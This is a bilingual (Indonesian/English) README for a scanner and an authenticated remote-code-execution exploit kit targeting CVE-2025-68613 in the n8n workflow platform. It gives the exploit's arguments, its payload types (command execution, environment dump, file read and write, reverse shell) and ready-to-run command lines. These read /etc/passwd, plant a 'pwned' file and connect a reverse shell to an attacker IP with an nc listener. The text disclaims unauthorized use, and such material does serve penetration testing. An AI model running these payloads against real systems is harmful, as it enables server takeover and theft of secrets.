Authenticated RCE exploit PoC and vulnerability scanner for CVE-2025-68613 in n8n. Supports command execution, file operations, and reverse shell payloads for authorized security testing.
Toolkit ini menyediakan scanner dan exploit PoC untuk kerentanan kritis CVE-2025-68613 pada n8n Workflow Automation Platform.
This repository provides scanner and exploit PoC scripts for the critical CVE-2025-68613 vulnerability affecting n8n Workflow Automation Platform.
Tool ini HANYA untuk pengujian keamanan yang SAH dan BERIZIN. Dilarang menggunakan tool ini pada sistem tanpa izin pemilik.
This tool is ONLY for authorized and legal security testing. Unauthorized usage is illegal and prohibited.
0.211.0 – 1.120.31.121.01.120.4+1.121.1+1.122.0+.
├── tot-scanner-2025-68613.py # Vulnerability Scanner (NO exploit)
├── tot-exploit-2025-68613.py # Authenticated RCE Exploit PoC
├── requirements.txt
└── README.md
Scanner digunakan untuk:
The scanner:
Scanner memeriksa endpoint berikut:
//rest/settings/healthz/api/v1/healthPackage yang dibutuhkan:
Isi file requirements.txt:
requests>=2.28.0
Required packages:
requirements.txt content:
requests>=2.28.0
pip install -r requirements.txt
python3 tot-scanner-2025-68613.py -u http://target.com:5678
python3 tot-scanner-2025-68613.py -u http://target.com:5678 --json
{
"target": "http://target.com:5678",
"detected": true,
"version": "1.121.0",
"vulnerable": true,
"status": "vulnerable",
"cve": "CVE-2025-68613"
}
| Code | Meaning |
|---|---|
| 0 | Not vulnerable |
| 1 | Version unknown |
| 2 | Vulnerable |
Exploit ini MEMBUTUHKAN kredensial n8n yang valid
Authenticated access is REQUIRED
Exploit bekerja dengan:
Set| Argument | Required | Description |
|---|---|---|
-u / --url | ✅ | Target n8n URL |
-e / --email | ✅ | n8n account email |
-p / --password | ✅ | n8n account password |
--payload | ✅ | Payload type |
--command | ❌ | OS command (cmd) |
--file | ❌ | File path (read/write) |
--content | ❌ | File content (write) |
--lhost | ❌ | Attacker IP (revshell) |
--lport | ❌ | Attacker port (revshell) |
--verify-ssl | ❌ | Verify SSL certificate |
| Payload | Function |
|---|---|
info | System information |
cmd | Command execution |
env | Environment dump |
read | Read file |
write | Write file |
revshell | Reverse shell |
python3 tot-exploit-2025-68613.py -u http://target.com:5678 -e [email protected] -p password --payload info
python3 tot-exploit-2025-68613.py -u http://target.com:5678 -e [email protected] -p password --payload cmd --command "id"
python3 tot-exploit-2025-68613.py -u http://target.com:5678 -e [email protected] -p password --payload read --file /etc/passwd
python3 tot-exploit-2025-68613.py -u http://target.com:5678 -e [email protected] -p password --payload write --file /tmp/pwned.txt --content "owned"
nc -lvnp 4444
python3 tot-exploit-2025-68613.py -u http://target.com:5678 -e [email protected] -p password --payload revshell --lhost 10.10.14.5 --lport 4444
/rest/* endpointsThis project is provided for educational and authorized security testing only.
The author is not responsible for misuse.
n8n
cve
cve-2025-68613
rce
expression-injection
security
pentest
red-team
blue-team
python
Stay legal. Stay ethical.